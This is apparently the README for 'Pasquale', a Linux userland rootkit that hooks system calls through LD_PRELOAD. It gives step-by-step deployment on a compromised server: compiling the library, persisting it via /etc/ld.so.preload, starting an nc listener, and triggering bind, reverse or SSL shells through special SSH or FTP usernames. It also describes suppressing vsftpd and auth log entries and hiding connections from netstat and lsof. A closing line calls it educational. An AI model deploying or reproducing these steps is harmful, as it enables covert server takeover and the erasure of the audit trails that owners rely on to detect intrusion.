Pasquale is a userland rootkit utilizing the LD_PRELOAD technique to hook system calls and provide various backdoor functionalities. It demonstrates several concepts spanning C programming, socket programming, openSSL, system calls, and various elements related to Linux. The rootkit targets syslog and vsftpd, triggering one of three possible backdoors. Any network connections made by the attacker are hidden from netstat and lsof. The rootkit also hides the attacker from logs that usually monitor SSH and FTP connections.
- Backdoor Access: Provides three types of backdoors: bind shell, reverse shell, and an SSL-encrypted shell, which can be triggered through both SSH and FTP.
- Log Manipulation: Hides specific log entries from
vsftpd.logandauth.log. - Process Hiding: Conceals specific connections from
netstatandlsof.
Ensure you have OpenSSL installed on your system.
Pasquale is supported by Debian-based systems, as well as CentOS.
Compile the rootkit as a shared library on the target system:
gcc pasquale.c -fPIC -shared -D_GNU_SOURCE -o lib.pack.so.6 -ldl -lssl -lcryptoThis rootkit would be installed on a Linux server where an attacker would have root access. The steps below assume you have root access on the target system.
-
Compile the Library on Target: Follow the compilation step directly on the target system to create
lib.pack.so.6. -
Configure
LD_PRELOAD: Add the library to/etc/ld.so.preload.echo "/path/to/lib.pack.so.6" > /etc/ld.so.preload
Verify that the library is loaded:
ldd /bin/lsCheck that lib.pack.so.6 is listed.
Start a listener on the attacker's machine:
nc -lvp 443Use one of the special usernames to trigger the desired backdoor (bind, reverse, or SSL):
ssh BIND_USER@target
ssh REVERSE_USER@target
ssh OPENSSL_USER@targetAlternatively, these backdoors can also be triggered via FTP with the same usernames:
ftp target
# login with username BIND_USER, REVERSE_USER, or OPENSSL_USER- LD_PRELOAD LD_PRELOAD is an enviornmental variable (and also a file) that is checked before all other libraries. If set to the compiled rootkit library, all defined system calls in
pasquale.cwill be dynamically linked before the actual system calls. - write Hook: Intercepts
writecalls to check for specific usernames. Depending on the username, it triggers a bind shell, reverse shell, or SSL-encrypted shell. The ssh and ftp processes both make write calls when a username is submitted. - fopen Hook: Intercepts
fopencalls to hide entries from/var/log/vsftpd.logand certain network connections fromnetstatandlsof. - readdir Hook: Intercepts directory reads to hide the rootkit's presence, including the
lscommand.
- Syslog: The rootkit hooks the
writesyscall to detect specific usernames logged bysyslog. When detected, it triggers the appropriate backdoor and writes to/dev/null, ensuring no logs containing the usernames are written. - vsftpd: The
fopenhook redirects writes to/var/log/vsftpd.logto/dev/null, ensuring the log file remains empty.
- Educational Purposes: This rootkit is intended for educational purposes only. Do not use it for malicious activities.